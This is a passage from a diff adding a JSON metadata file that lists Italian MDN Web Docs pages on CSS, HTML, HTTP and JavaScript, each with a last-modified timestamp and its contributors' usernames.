+      "Pardoz",
+      "fscholz",
+      "SerenaG"
+    ]
+  },
+  "Web/CSS/color": {
+    "modified": "2019-03-24T00:00:19.477Z",
+    "contributors": [
+      "teoli",
+      "pbrenna"
+    ]
+  },
+  "Web/CSS/cursor": {
+    "modified": "2019-03-23T23:12:03.465Z",
+    "contributors": [
+      "mrstork",
+      "Sebastianz",
+      "teoli",
+      "claudepache"
+    ]
+  },
+  "Web/CSS/cursor/Usare_valori_URL_per_la_proprietà_cursor": {
+    "modified": "2019-03-23T23:43:56.513Z",
+    "contributors": [
+      "teoli",
+      "Leofiore"
+    ]
+  },
+  "Web/CSS/flex": {
+    "modified": "2019-03-23T22:48:31.643Z",
+    "contributors": [
+      "Sebastianz",
+      "Renatvs88"
+    ]
+  },
+  "Web/CSS/flex-shrink": {
+    "modified": "2020-10-15T22:16:46.816Z",
+    "contributors": [
+      "lmacchiavelli"
+    ]
+  },
+  "Web/CSS/font-size-adjust": {
+    "modified": "2020-10-15T22:14:51.320Z",
+    "contributors": [
+      "enzo4d"
+    ]
+  },
+  "Web/CSS/min-width": {
+    "modified": "2019-03-23T22:01:46.505Z",
+    "contributors": [
+      "sedetiam"
+    ]
+  },
+  "Web/CSS/object-fit": {
+    "modified": "2020-10-15T22:30:51.713Z",
+    "contributors": [
+      "arturu"
+    ]
+  },
+  "Web/CSS/selettore_figli_diretti": {
+    "modified": "2019-03-23T22:33:41.612Z",
+    "contributors": [
+      "ExplosiveLab"
+    ]
+  },
+  "Web/CSS/text-align": {
+    "modified": "2019-03-23T23:54:00.082Z",
+    "contributors": [
+      "SaverioITA",
+      "teoli",
+      "Federico"
+    ]
+  },
+  "Web/CSS/text-shadow": {
+    "modified": "2019-03-24T00:00:17.112Z",
+    "contributors": [
+      "teoli",
+      "pbrenna"
+    ]
+  },
+  "Web/CSS/transition-timing-function": {
+    "modified": "2019-03-23T23:17:45.018Z",
+    "contributors": [
+      "mrstork",
+      "fscholz",
+      "Sebastianz",
+      "teoli",
+      "Andrea_Barghigiani"
+    ]
+  },
+  "Web/CSS/word-break": {
+    "modified": "2019-03-23T22:40:10.489Z",
+    "contributors": [
+      "teoli",
+      "fscholz",
+      "Sebastianz",
+      "klez"
+    ]
+  },
+  "Web/CSS/z-index": {
+    "modified": "2020-10-24T21:54:43.421Z",
+    "contributors": [
+      "p3k1n0",
+      "duduindo",
+      "tallaGitHub"
+    ]
+  },
+  "Web/Esempi_di_tecnologie_web_open": {
+    "modified": "2019-03-23T22:06:33.966Z",
+    "contributors": [
+      "siron94"
+    ]
+  },
+  "Web/Events": {
+    "modified": "2019-04-30T14:19:44.404Z",
+    "contributors": [
+      "wbamberg",
+      "bep"
+    ]
+  },
+  "Web/Events/DOMContentLoaded": {
+    "modified": "2020-10-15T22:04:24.853Z",
+    "contributors": [
+      "IsibisiDev",
+      "wbamberg",
+      "bolste"
+    ]
+  },
+  "Web/Events/load": {
+    "modified": "2019-04-30T14:10:24.678Z",
+    "contributors": [
+      "wbamberg",
+      "IsibisiDev",
+      "sickDevelopers",
+      "fscholz",
+      "lucamemma"
+    ]
+  },
+  "Web/Guide": {
+    "modified": "2019-03-23T23:29:02.031Z",
+    "contributors": [
+      "andrealeone",
+      "ethertank"
+    ]
+  },
+  "Web/Guide/AJAX": {
+    "modified": "2019-01-16T15:41:57.982Z",
+    "contributors": [
+      "chrisdavidmills",
+      "Summit677",
+      "DaViD83",
+      "Federico"
+    ]
+  },
+  "Web/Guide/AJAX/Iniziare": {
+    "modified": "2019-03-23T23:41:32.850Z",
+    "contributors": [
+      "chrisdavidmills",
+      "Mattia_Zanella",
+      "Federico"
+    ]
+  },
+  "Web/Guide/API": {
+    "modified": "2019-09-11T09:42:07.898Z",
+    "contributors": [
+      "SphinxKnight",
+      "Sheppy"
+    ]
+  },
+  "Web/Guide/CSS": {
+    "modified": "2019-03-23T23:29:02.257Z",
+    "contributors": [
+      "Sheppy"
+    ]
+  },
+  "Web/Guide/Graphics": {
+    "modified": "2019-03-23T22:54:59.847Z",
+    "contributors": [
+      "robertsillo",
+      "Swear",
+      "Turkish",
+      "arc551"
+    ]
+  },
+  "Web/Guide/HTML/Categorie_di_contenuto": {
+    "modified": "2019-03-23T23:34:44.540Z",
+    "contributors": [
+      "Sebastianz",
+      "Ella",
+      "nicolo-ribaudo",
+      "teoli",
+      "Nicola_D"
+    ]
+  },
+  "Web/Guide/HTML/Editable_content": {
+    "modified": "2019-03-23T22:02:08.397Z",
+    "contributors": [
+      "chrisdavidmills"
+    ]
+  },
+  "Web/Guide/HTML/Editable_content/Rich-Text_Editing_in_Mozilla": {
+    "modified": "2019-03-18T20:59:06.217Z",
+    "contributors": [
+      "SphinxKnight",
+      "chrisdavidmills",
+      "khela"
+    ]
+  },
+  "Web/Guide/WOFF": {
+    "modified": "2019-03-23T23:19:16.066Z",
+    "contributors": [
+      "fscholz",
+      "klez"
+    ]
+  },
+  "Web/HTML": {
+    "modified": "2019-08-30T09:49:56.780Z",
+    "contributors": [
+      "TastefullElm548",
+      "chack1172",
+      "TataBlack",
+      "artistics-weddings",
+      "Alessandro947",
+      "franzfonta",
+      "Renatvs88",
+      "teoli",
+      "klez",
+      "Grino",
+      "ethertank",
+      "DavidWalsh",
+      "Federico",
+      "DaViD83"
+    ]
+  },
+  "Web/HTML/Attributi": {
+    "modified": "2019-03-23T23:34:35.010Z",
+    "contributors": [
+      "teoli",
+      "Nicola_D"
+    ]
+  },
+  "Web/HTML/Canvas": {
+    "modified": "2019-09-27T19:03:03.922Z",
+    "contributors": [
+      "NeckersBOX",
+      "nataz77",
+      "teoli",
+      "Grino",
+      "mck89"
+    ]
+  },
+  "Web/HTML/Canvas/Drawing_graphics_with_canvas": {
+    "modified": "2019-03-23T23:15:33.594Z",
+    "contributors": [
+      "teoli",
+      "MrNow"
+    ]
+  },
+  "Web/HTML/Element": {
+    "modified": "2019-03-23T23:34:47.626Z",
+    "contributors": [
+      "rudijuri",
+      "howilearn",
+      "nicolo-ribaudo",
+      "teoli",
+      "Nicola_D"
+    ]
+  },
+  "Web/HTML/Element/a": {
+    "modified": "2019-03-23T23:34:44.333Z",
+    "contributors": [
+      "DLuPi",
+      "cirelli94",
+      "nicolo-ribaudo",
+      "Renatvs88",
+      "teoli",
+      "Nicola_D"
+    ]
+  },
+  "Web/HTML/Element/abbr": {
+    "modified": "2019-03-23T23:34:43.129Z",
+    "contributors": [
+      "nicolo-ribaudo",
+      "fscholz",
+      "Renatvs88",
+      "teoli",
+      "Nicola_D"
+    ]
+  },
+  "Web/HTML/Element/acronym": {
+    "modified": "2019-03-23T22:52:54.493Z",
+    "contributors": [
+      "nicolo-ribaudo"
+    ]
+  },
+  "Web/HTML/Element/address": {
+    "modified": "2019-03-23T23:34:43.331Z",
+    "contributors": [
+      "Renatvs88",
+      "teoli",
+      "klez",
+      "Nicola_D"
+    ]
+  },
+  "Web/HTML/Element/applet": {
+    "modified": "2019-03-23T22:52:59.900Z",
+    "contributors": [
+      "nicolo-ribaudo"
+    ]
+  },
+  "Web/HTML/Element/area": {
+    "modified": "2019-03-23T23:34:45.225Z",
+    "contributors": [
+      "nicolo-ribaudo",
+      "teoli",
+      "Nicola_D"
+    ]
+  },
+  "Web/HTML/Element/article": {
+    "modified": "2019-03-23T23:20:55.754Z",
+    "contributors": [
+      "wbamberg",
+      "nicolo-ribaudo",
+      "Renatvs88",
+      "klez",
+      "teoli"
+    ]
+  },
+  "Web/HTML/Element/aside": {
+    "modified": "2019-03-23T22:58:05.936Z",
+    "contributors": [
+      "wbamberg",
+      "ncalca",
+      "nicolo-ribaudo"
+    ]
+  },
+  "Web/HTML/Element/audio": {
+    "modified": "2019-03-23T22:53:14.617Z",
+    "contributors": [
+      "wbamberg",
+      "nicolo-ribaudo"
+    ]
+  },
+  "Web/HTML/Element/b": {
+    "modified": "2019-03-23T22:52:54.303Z",
+    "contributors": [
+      "massic80",
+      "nicolo-ribaudo"
+    ]
+  },
+  "Web/HTML/Element/base": {
+    "modified": "2019-03-23T22:52:58.579Z",
+    "contributors": [
+      "graziastracquadanio",
+      "nicolo-ribaudo"
+    ]
+  },
+  "Web/HTML/Element/basefont": {
+    "modified": "2019-03-23T22:52:59.624Z",
+    "contributors": [
+      "fscholz",
+      "nicolo-ribaudo"
+    ]
+  },
+  "Web/HTML/Element/bdi": {
+    "modified": "2019-03-23T22:52:59.332Z",
+    "contributors": [
+      "nicolo-ribaudo"
+    ]
+  },
+  "Web/HTML/Element/bdo": {
+    "modified": "2019-03-23T22:52:46.554Z",
+    "contributors": [
+      "nicolo-ribaudo"
+    ]
+  },
+  "Web/HTML/Element/bgsound": {
+    "modified": "2019-03-23T22:52:45.882Z",
+    "contributors": [
+      "nicolo-ribaudo"
+    ]
+  },
+  "Web/HTML/Element/big": {
+    "modified": "2019-03-23T22:52:46.708Z",
+    "contributors": [
+      "nicolo-ribaudo"
+    ]
+  },
+  "Web/HTML/Element/blink": {
+    "modified": "2019-05-31T07:12:45.159Z",
+    "contributors": [
+      "f4nu",
+      "altermetax",
+      "nicolo-ribaudo"
+    ]
+  },
+  "Web/HTML/Element/blockquote": {
+    "modified": "2019-03-23T22:52:46.389Z",
+    "contributors": [
+      "lucadebort",
+      "nicolo-ribaudo"
+    ]
+  },
+  "Web/HTML/Element/body": {
+    "modified": "2020-04-11T18:37:21.227Z",
+    "contributors": [
+      "MitchDLincoln",
+      "nicolo-ribaudo"
+    ]
+  },
+  "Web/HTML/Element/br": {
+    "modified": "2019-03-23T22:52:45.021Z",
+    "contributors": [
+      "nicolo-ribaudo"
+    ]
+  },
+  "Web/HTML/Element/canvas": {
+    "modified": "2019-03-23T22:46:16.907Z",
+    "contributors": [
+      "s3lvatico",
+      "nicolo-ribaudo"
+    ]
+  },
+  "Web/HTML/Element/caption": {
+    "modified": "2019-09-25T06:39:36.826Z",
+    "contributors": [
+      "FrancescoLucia",
+      "nicolo-ribaudo"
+    ]
+  },
+  "Web/HTML/Element/center": {
+    "modified": "2020-07-28T11:41:08.194Z",
+    "contributors": [
+      "DarioSacco",
+      "nicolo-ribaudo"
+    ]
+  },
+  "Web/HTML/Element/div": {
+    "modified": "2020-10-15T22:01:21.748Z",
+    "contributors": [
+      "chack1172",
+      "Enrico_Polanski"
+    ]
+  },
+  "Web/HTML/Element/figura": {
+    "modified": "2020-10-15T22:23:23.465Z",
+    "contributors": [
+      "NeckersBOX"
+    ]
+  },
+  "Web/HTML/Element/footer": {
+    "modified": "2019-03-23T22:58:06.411Z",
+    "contributors": [
+      "Gianlucamonaco",
+      "FedericoBiccheddu",
+      "nicolo-ribaudo"
+    ]
+  },
+  "Web/HTML/Element/head": {
+    "modified": "2020-10-15T21:34:29.566Z",
+    "contributors": [
+      "gnardell",
+      "nicolo-ribaudo"
+    ]
+  },
+  "Web/HTML/Element/header": {
+    "modified": "2019-03-23T22:58:06.108Z",
+    "contributors": [
+      "wbamberg",
+      "massimilianomarini",
+      "nicolo-ribaudo"
+    ]
+  },
+  "Web/HTML/Element/hgroup": {
+    "modified": "2019-03-23T22:58:08.873Z",
+    "contributors": [
+      "nicolo-ribaudo"
+    ]
+  },
+  "Web/HTML/Element/html": {
+    "modified": "2020-10-15T21:27:37.448Z",
+    "contributors": [
+      "gnardell",
+      "teoli",
+      "klez"
+    ]
+  },
+  "Web/HTML/Element/i": {
+    "modified": "2020-10-15T22:04:36.939Z",
+    "contributors": [
+      "SphinxKnight",
+      "chiabgigi",
+      "rudijuri"
+    ]
+  },
+  "Web/HTML/Element/iframe": {
+    "modified": "2019-06-14T10:56:59.315Z",
+    "contributors": [
+      "deviloper",
+      "wbamberg",
+      "salvan13",
+      "mikspi"
+    ]
+  },
+  "Web/HTML/Element/img": {
+    "modified": "2020-10-29T11:49:17.786Z",
+    "contributors": [
+      "massic80"
+    ]
+  },
+  "Web/HTML/Element/input": {
+    "modified": "2020-10-15T22:23:23.775Z",
+    "contributors": [
+      "mfuji09"
+    ]
+  },
+  "Web/HTML/Element/input/file": {
+    "modified": "2020-10-15T22:30:37.009Z",
+    "contributors": [
+      "layerZer0"
+    ]
+  },
+  "Web/HTML/Element/kbd": {
+    "modified": "2019-03-23T22:16:33.974Z",
+    "contributors": [
+      "eineki"
+    ]
+  },
+  "Web/HTML/Element/main": {
+    "modified": "2019-03-23T23:11:38.417Z",
+    "contributors": [
+      "equinusocio",
+      "vindega",
+      "mek"
+    ]
+  },
+  "Web/HTML/Element/nav": {
+    "modified": "2019-03-23T23:10:34.959Z",
+    "contributors": [
+      "wbamberg",
+      "nicolo-ribaudo",
+      "Emanuel"
+    ]
+  },
+  "Web/HTML/Element/output": {
+    "modified": "2019-03-23T23:16:27.188Z",
+    "contributors": [
+      "wbamberg",
+      "Arset",
+      "teoli",
+      "Ruggi"
+    ]
+  },
+  "Web/HTML/Element/p": {
+    "modified": "2020-10-15T22:00:58.430Z",
+    "contributors": [
+      "SphinxKnight",
+      "ScardracS",
+      "IsibisiDev",
+      "giacar"
+    ]
+  },
+  "Web/HTML/Element/section": {
+    "modified": "2019-03-23T23:20:55.591Z",
+    "contributors": [
+      "wbamberg",
+      "nicolo-ribaudo",
+      "teoli",
+      "klez"
+    ]
+  },
+  "Web/HTML/Element/span": {
+    "modified": "2020-10-15T22:13:46.509Z",
+    "contributors": [
+      "IsibisiDev"
+    ]
+  },
+  "Web/HTML/Element/strike": {
+    "modified": "2019-03-23T23:09:59.392Z",
+    "contributors": [
+      "Astio_k",
+      "Viridovix"
+    ]
+  },
+  "Web/HTML/Element/table": {
+    "modified": "2019-03-23T22:53:24.772Z",
+    "contributors": [
+      "nicolo-ribaudo"
+    ]
+  },
+  "Web/HTML/Element/time": {
+    "modified": "2019-03-23T23:17:48.369Z",
+    "contributors": [
+      "teoli",
+      "Angoo"
+    ]
+  },
+  "Web/HTML/Element/title": {
+    "modified": "2019-03-23T22:57:58.557Z",
+    "contributors": [
+      "nicolo-ribaudo"
+    ]
+  },
+  "Web/HTML/Forms_in_HTML": {
+    "modified": "2019-03-23T23:29:43.061Z",
+    "contributors": [
+      "teoli",
+      "Giona"
+    ]
+  },
+  "Web/HTML/Global_attributes": {
+    "modified": "2019-03-23T23:16:28.665Z",
+    "contributors": [
+      "teoli",
+      "Ruggi"
+    ]
+  },
+  "Web/HTML/Global_attributes/id": {
+    "modified": "2019-03-23T22:06:38.062Z",
+    "contributors": [
+      "sambuccid"
+    ]
+  },
+  "Web/HTML/HTML5": {
+    "modified": "2019-03-23T23:35:35.217Z",
+    "contributors": [
+      "artistics-weddings",
+      "teoli",
+      "bertuz83",
+      "Giona",
+      "Mattei",
+      "Grino"
+    ]
+  },
+  "Web/HTML/HTML5/Introduction_to_HTML5": {
+    "modified": "2019-03-23T23:29:36.115Z",
+    "contributors": [
+      "teoli",
+      "bertuz",
+      "Giona"
+    ]
+  },
+  "Web/HTML/Riferimento": {
+    "modified": "2019-09-09T07:18:46.738Z",
+    "contributors": [
+      "SphinxKnight",
+      "wbamberg",
+      "LoSo"
+    ]
+  },
+  "Web/HTML/Sections_and_Outlines_of_an_HTML5_document": {
+    "modified": "2019-03-23T23:29:51.242Z",
+    "contributors": [
+      "teoli",
+      "Giona"
+    ]
+  },
+  "Web/HTML/utilizzare_application_cache": {
+    "modified": "2019-03-23T23:28:46.240Z",
+    "contributors": [
+      "Carlo-Effe",
+      "g4b0",
+      "teoli",
+      "pastorello"
+    ]
+  },
+  "Web/HTTP": {
+    "modified": "2019-03-18T21:00:54.655Z",
+    "contributors": [
+      "Mystral",
+      "groovecoder"
+    ]
+  },
+  "Web/HTTP/Authentication": {
+    "modified": "2020-11-30T09:16:11.222Z",
+    "contributors": [
+      "klediceliku16",
+      "meogrande"
+    ]
+  },
+  "Web/HTTP/Basi_HTTP": {
+    "modified": "2020-11-30T09:32:11.577Z",
+    "contributors": [
+      "MatteoZxy",
+      "giuseppe.librandi02"
+    ]
+  },
+  "Web/HTTP/CORS": {
+    "modified": "2020-10-15T22:09:12.111Z",
+    "contributors": [
+      "theborgh",
+      "PaolinoAngeletti",
+      "serafinomb",
+      "gabriele.bernuzzi"
+    ]
+  },
+  "Web/HTTP/CORS/Errors": {
+    "modified": "2019-03-18T21:23:26.317Z",
+    "contributors": [
+      "nchevobbe"
+    ]
+  },
+  "Web/HTTP/CORS/Errors/CORSDidNotSucceed": {
+    "modified": "2020-01-08T06:39:41.776Z",
+    "contributors": [
+      "Mte90",
+      "sf3ris"
+    ]
+  },
+  "Web/HTTP/CORS/Errors/CORSMissingAllowOrigin": {
+    "modified": "2019-03-18T21:23:21.324Z",
+    "contributors": [
+      "Marsangola"
+    ]
+  },
+  "Web/HTTP/Caching": {
+    "modified": "2020-12-05T07:45:06.792Z",
+    "contributors": [
+      "Wilkenfeld"
+    ]
+  },
+  "Web/HTTP/Compressione": {
+    "modified": "2020-11-30T09:31:19.301Z",
+    "contributors": [
+      "davide.martinelli13",
+      "lucathetiger96.96",
+      "SphinxKnight"
+    ]
+  },
+  "Web/HTTP/Conditional_requests": {
+    "modified": "2020-12-05T07:29:03.909Z",
+    "contributors": [
+      "alessiogasparini02",
+      "pietro.voltarel"
+    ]
+  },
+  "Web/HTTP/Cookies": {
+    "modified": "2019-03-18T21:30:36.615Z",
+    "contributors": [
+      "edoardopa",
+      "meliot"
+    ]
+  },
+  "Web/HTTP/Feature_Policy": {
+    "modified": "2020-11-30T11:38:06.042Z",
+    "contributors": [
+      "pastrochristian",
+      "tommaso_biadene"
+    ]
+  },
+  "Web/HTTP/Headers": {
+    "modified": "2019-03-23T22:06:50.529Z",
+    "contributors": [
+      "Naesten"
+    ]
+  },
+  "Web/HTTP/Headers/Age": {
+    "modified": "2020-10-15T21:59:33.765Z",
+    "contributors": [
+      "andreapernici"
+    ]
+  },
+  "Web/HTTP/Headers/Authorization": {
+    "modified": "2019-08-30T13:21:19.490Z",
+    "contributors": [
+      "duduindo",
+      "sginestrini"
+    ]
+  },
+  "Web/HTTP/Headers/Cookie": {
+    "modified": "2020-10-15T22:19:54.288Z",
+    "contributors": [
+      "cobyan"
+    ]
+  },
+  "Web/HTTP/Headers/Host": {
+    "modified": "2020-10-15T22:29:02.963Z",
+    "contributors": [
+      "AndrewKant-ML"
+    ]
+  },
+  "Web/HTTP/Headers/Server": {
+    "modified": "2020-10-15T22:06:39.131Z",
+    "contributors": [
+      "lucat92"
+    ]
+  },
+  "Web/HTTP/Headers/Strict-Transport-Security": {
+    "modified": "2020-10-15T21:56:41.041Z",
+    "contributors": [
+      "diego-betto",
+      "AlessiaMichelaDiCampi",
+      "meliot"
+    ]
+  },
+  "Web/HTTP/Headers/X-Content-Type-Options": {
+    "modified": "2020-10-15T22:22:02.861Z",
+    "contributors": [
+      "AlessiaMichelaDiCampi",
+      "FabrizioMontanari"
+    ]
+  },
+  "Web/HTTP/Headers/X-XSS-Protection": {
+    "modified": "2020-10-15T22:07:15.256Z",
+    "contributors": [
+      "meliot"
+    ]
+  },
+  "Web/HTTP/Panoramica": {
+    "modified": "2020-11-08T15:52:52.082Z",
+    "contributors": [
+      "meogrande",
+      "abatti"
+    ]
+  },
+  "Web/HTTP/Protocol_upgrade_mechanism": {
+    "modified": "2020-11-30T09:35:43.369Z",
+    "contributors": [
+      "SphinxKnight",
+      "Bilal",
+      "edoardobortoluzzi"
+    ]
+  },
+  "Web/HTTP/Redirections": {
+    "modified": "2020-11-28T07:25:14.464Z",
+    "contributors": [
+      "jottojotto888",
+      "keiram.x101",
+      "alessiogasparini02"
+    ]
+  },
+  "Web/HTTP/Resources_and_specifications": {
+    "modified": "2020-11-30T09:28:26.417Z",
+    "contributors": [
+      "EnricoDant3"
+    ]
+  },
+  "Web/HTTP/Richieste_range": {
+    "modified": "2019-08-03T05:17:24.435Z",
+    "contributors": [
+      "theborgh"
+    ]
+  },
+  "Web/HTTP/Sessione": {
+    "modified": "2020-11-29T21:39:50.877Z",
+    "contributors": [
+      "zambonmichelethanu"
+    ]
+  },
+  "Web/HTTP/Status": {
+    "modified": "2019-03-23T22:02:43.572Z",
+    "contributors": [
+      "mgold"
+    ]
+  },
+  "Web/HTTP/Status/100": {
+    "modified": "2020-10-15T22:23:29.640Z",
+    "contributors": [
+      "Alby7503"
+    ]
+  },
+  "Web/HTTP/Status/101": {
+    "modified": "2019-03-18T21:36:46.685Z",
+    "contributors": [
+      "PsCustomObject",
+      "cometarossa"
+    ]
+  },
+  "Web/HTTP/Status/200": {
+    "modified": "2020-10-15T21:59:03.164Z",
+    "contributors": [
+      "DadiBit",
+      "flaruggi"
+    ]
+  },
+  "Web/HTTP/Status/302": {
+    "modified": "2020-10-15T22:18:43.134Z",
+    "contributors": [
+      "eliamaino"
+    ]
+  },
+  "Web/HTTP/Status/404": {
+    "modified": "2020-10-15T22:16:43.194Z",
+    "contributors": [
+      "stefalda"
+    ]
+  },
+  "Web/HTTP/Status/500": {
+    "modified": "2020-10-15T22:15:03.942Z",
+    "contributors": [
+      "damis0g"
+    ]
+  },
+  "Web/HTTP/negoziazione-del-contenuto": {
+    "modified": "2020-11-30T09:20:26.423Z",
+    "contributors": [
+      "endlessDoomsayer",
+      "sharq"
+    ]
+  },
+  "Web/JavaScript": {
+    "modified": "2020-03-12T19:36:53.666Z",
+    "contributors": [
+      "Mystral",
+      "SphinxKnight",
+      "fscholz",
+      "artistics-weddings",
+      "alvise",
+      "nicolo-ribaudo",
+      "teoli",
+      "clamar59",
+      "Grino",
+      "ethertank",
+      "Federico",
+      "Leofiore",
+      "Verruckt",
+      "Kyuzz",
+      "DaViD83"
+    ]
+  },
+  "Web/JavaScript/Chiusure": {
+    "modified": "2020-07-09T10:58:36.507Z",
+    "contributors": [
+      "ImChrono",
+      "massimilianoaprea7",
+      "EmGargano",
+      "nicrizzo",
+      "AndreaP",
+      "Linko",
+      "masrossi",
+      "mar-mo"
+    ]
+  },
+  "Web/JavaScript/Cosè_JavaScript": {
+    "modified": "2020-03-12T19:42:53.580Z",
+    "contributors": [
+      "SpaceMudge"
+    ]
+  },
+  "Web/JavaScript/Data_structures": {
+    "modified": "2020-05-27T14:48:54.824Z",
+    "contributors": [
+      "LucaPipolo"
+    ]
+  },
+  "Web/JavaScript/EventLoop": {
+    "modified": "2020-03-12T19:44:37.548Z",
+    "contributors": [
+      "csarnataro",
+      "xpepper",
+      "mrbabbs",
+      "finvernizzi"
+    ]
+  },
+  "Web/JavaScript/Gestione_della_Memoria": {
+    "modified": "2020-03-12T19:40:57.516Z",
+    "contributors": [
+      "darknightva",
+      "jspkay",
+      "sokos",
+      "guspatagonico"
+    ]
+  },
+  "Web/JavaScript/Getting_Started": {
+    "modified": "2019-03-23T23:05:35.907Z",
+    "contributors": [
+      "clamar59"
+    ]
+  },
+  "Web/JavaScript/Guida": {
+    "modified": "2020-03-12T19:38:40.547Z",
+    "contributors": [
+      "Mystral",
+      "fscholz",
+      "teoli",
+      "natebunnyfield"
+    ]
+  },
+  "Web/JavaScript/Guida/Controllo_del_flusso_e_gestione_degli_errori": {
+    "modified": "2020-07-03T09:14:04.292Z",
+    "contributors": [
+      "lucamonte",
+      "ladysilvia",
+      "Goliath86",
+      "catBlack"
+    ]
+  },
+  "Web/JavaScript/Guida/Dettagli_Object_Model": {
+    "modified": "2020-03-12T19:45:00.589Z",
+    "contributors": [
+      "wbamberg",
+      "dem-s"
+    ]
+  },
+  "Web/JavaScript/Guida/Espressioni_Regolari": {
+    "modified": "2020-03-12T19:44:32.587Z",
+    "contributors": [
+      "Mystral",
+      "pfoletto",
+      "camilgun",
+      "adrisimo74",
+      "Samplasion",
+      "mar-mo"
+    ]
+  },
+  "Web/JavaScript/Guida/Functions": {
+    "modified": "2020-03-12T19:43:03.997Z",
+    "contributors": [
+      "MikePap",
+      "lvzndr"
+    ]
+  },
+  "Web/JavaScript/Guida/Grammar_and_types": {
+    "modified": "2020-03-12T19:43:14.274Z",
+    "contributors": [
+      "AliceM5",
+      "mme000",
+      "Goliath86",
+      "JsD3n",
+      "catBlack",
+      "edoardopa"
+    ]
+  },
+  "Web/JavaScript/Guida/Introduzione": {
+    "modified": "2020-03-12T19:42:19.516Z",
+    "contributors": [
+      "edoardopa",
+      "claudiod"
+    ]
+  },
+  "Web/JavaScript/Guida/Iteratori_e_generatori": {
+    "modified": "2020-03-12T19:46:49.658Z",
+    "contributors": [
+      "jackdbd"
+    ]
+  },
+  "Web/JavaScript/Guida/Loops_and_iteration": {
+    "modified": "2020-10-11T06:08:37.488Z",
+    "contributors": [
+      "bombur51",
+      "Edo",
+      "koalacurioso",
+      "ladysilvia",
+      "massimiliamanto",
+      "Cereal84"
+    ]
+  },
+  "Web/JavaScript/Il_DOM_e_JavaScript": {
+    "modified": "2019-12-13T21:06:11.041Z",
+    "contributors": [
+      "wbamberg",
+      "teoli",
+      "DaViD83"
+    ]
+  },
+  "Web/JavaScript/Inheritance_and_the_prototype_chain": {
+    "modified": "2020-03-12T19:40:53.603Z",
+    "contributors": [
+      "novembre",
+      "spreynprey",
+      "mean2me",
+      "davide-perez",
+      "liuzzom",
+      "JacopoBont",
+      "koso00",
+      "xbeat",
+      "aur3l10",
+      "kdex",
+      "claudiod",
+      "claudio.mantuano"
+    ]
+  },
+  "Web/JavaScript/Introduzione_al_carattere_Object-Oriented_di_JavaScript": {
+    "modified": "2020-03-12T19:36:12.785Z",
+    "contributors": [
+      "wbamberg",
+      "gabriellaborghi",
+      "giovanniragno",
+      "teoli",
+      "fusionchess"
+    ]
+  },
+  "Web/JavaScript/Reference": {
+    "modified": "2020-03-12T19:38:44.699Z",
+    "contributors": [
+      "teoli",
+      "nicolo-ribaudo",
+      "raztus"
+    ]
+  },
+  "Web/JavaScript/Reference/Classes": {
+    "modified": "2020-10-15T21:38:26.392Z",
+    "contributors": [
+      "fscholz",
+      "MaxArt",
+      "SphinxKnight",
+      "pdina",
+      "Glitches",
+      "AAllegro91",
+      "afalchi82",
+      "huckbit",
+      "Cereal84",
+      "mrbabbs",
+      "Sheppy"
+    ]
+  },
+  "Web/JavaScript/Reference/Classes/costruttore": {
+    "modified": "2020-03-12T19:44:11.878Z",
+    "contributors": [
+      "webpn",
+      "alexandr-sizemov",
+      "Cereal84"
+    ]
+  },
+  "Web/JavaScript/Reference/Classes/extends": {
+    "modified": "2020-03-12T19:45:50.905Z",
+    "contributors": [
+      "mnemosdev"
+    ]
+  },
+  "Web/JavaScript/Reference/Classes/static": {
+    "modified": "2020-10-15T21:38:26.501Z",
+    "contributors": [
+      "ifthenelse",
+      "lucafbb",
+      "fscholz",
+      "SphinxKnight",
+      "sharq",
+      "Cereal84",
+      "ciaoben"
+    ]
+  },
+  "Web/JavaScript/Reference/Errors": {
+    "modified": "2020-03-12T19:45:58.836Z",
+    "contributors": [
+      "Sheppy"
+    ]
+  },
+  "Web/JavaScript/Reference/Errors/Invalid_array_length": {
+    "modified": "2020-03-12T19:47:15.932Z",
+    "contributors": [
+      "oly_oly"
+    ]
+  },
+  "Web/JavaScript/Reference/Errors/Invalid_assignment_left-hand_side": {
+    "modified": "2020-03-12T19:46:22.091Z",
+    "contributors": [
+      "oly_oly",
+      "nullYoung"
+    ]
+  },
+  "Web/JavaScript/Reference/Errors/Missing_semicolon_before_statement": {
+    "modified": "2020-03-12T19:45:56.839Z",
+    "contributors": [
+      "ladysilvia",
+      "IkobaNoOkami",
+      "solemarnautica",
+      "passinform88"
+    ]
+  },
+  "Web/JavaScript/Reference/Errors/Too_much_recursion": {
+    "modified": "2020-08-27T11:23:03.109Z",
+    "contributors": [
+      "valeriolotterini"
+    ]
+  },
+  "Web/JavaScript/Reference/Errors/Unexpected_token": {
+    "modified": "2020-03-12T19:46:20.239Z",
+    "contributors": [
+      "crisz",
+      "ladysilvia",
+      "bobgen"
+    ]
+  },
+  "Web/JavaScript/Reference/Errors/Unexpected_type": {
+    "modified": "2020-03-12T19:47:09.154Z",
+    "contributors": [
+      "MPinna"
+    ]
+  },
+  "Web/JavaScript/Reference/Functions_and_function_scope": {
+    "modified": "2020-03-12T19:39:12.043Z",
+    "contributors": [
+      "lvzndr",
+      "ungarida",
+      "teoli",
+      "Salvo1402"
+    ]
+  },
+  "Web/JavaScript/Reference/Functions_and_function_scope/Arrow_functions": {
+    "modified": "2020-03-12T19:45:00.553Z",
+    "contributors": [
+      "nickdastain",
+      "DrJest"
+    ]
+  },
+  "Web/JavaScript/Reference/Functions_and_function_scope/arguments": {
+    "modified": "2020-10-15T22:02:48.792Z",
+    "contributors": [
+      "lesar",
+      "adrisimo74"
+    ]
+  },
+  "Web/JavaScript/Reference/Functions_and_function_scope/get": {
+    "modified": "2020-10-15T22:01:12.442Z",
+    "contributors": [
+      "matteogatti"
+    ]
+  },
+  "Web/JavaScript/Reference/Functions_and_function_scope/set": {
+    "modified": "2020-07-11T16:38:00.325Z",
+    "contributors": [
+      "CostyEffe",
+      "DeadManPoe"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects": {
+    "modified": "2020-03-12T19:39:20.143Z",
+    "contributors": [
+      "frappacchio",
+      "nicolo-ribaudo",
+      "SphinxKnight",
+      "teoli",
+      "Delapouite"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Array": {
+    "modified": "2019-08-20T14:20:15.094Z",
+    "contributors": [
+      "pfoletto",
+      "Umberto81",
+      "wbamberg",
+      "kdex",
+      "arai"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Array/Reduce": {
+    "modified": "2020-10-15T21:51:38.546Z",
+    "contributors": [
+      "linsock",
+      "SphinxKnight",
+      "IsibisiDev",
+      "Samplasion",
+      "massic80",
+      "Nighteye",
+      "mnemosdev",
+      "Cesarec88"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Array/concat": {
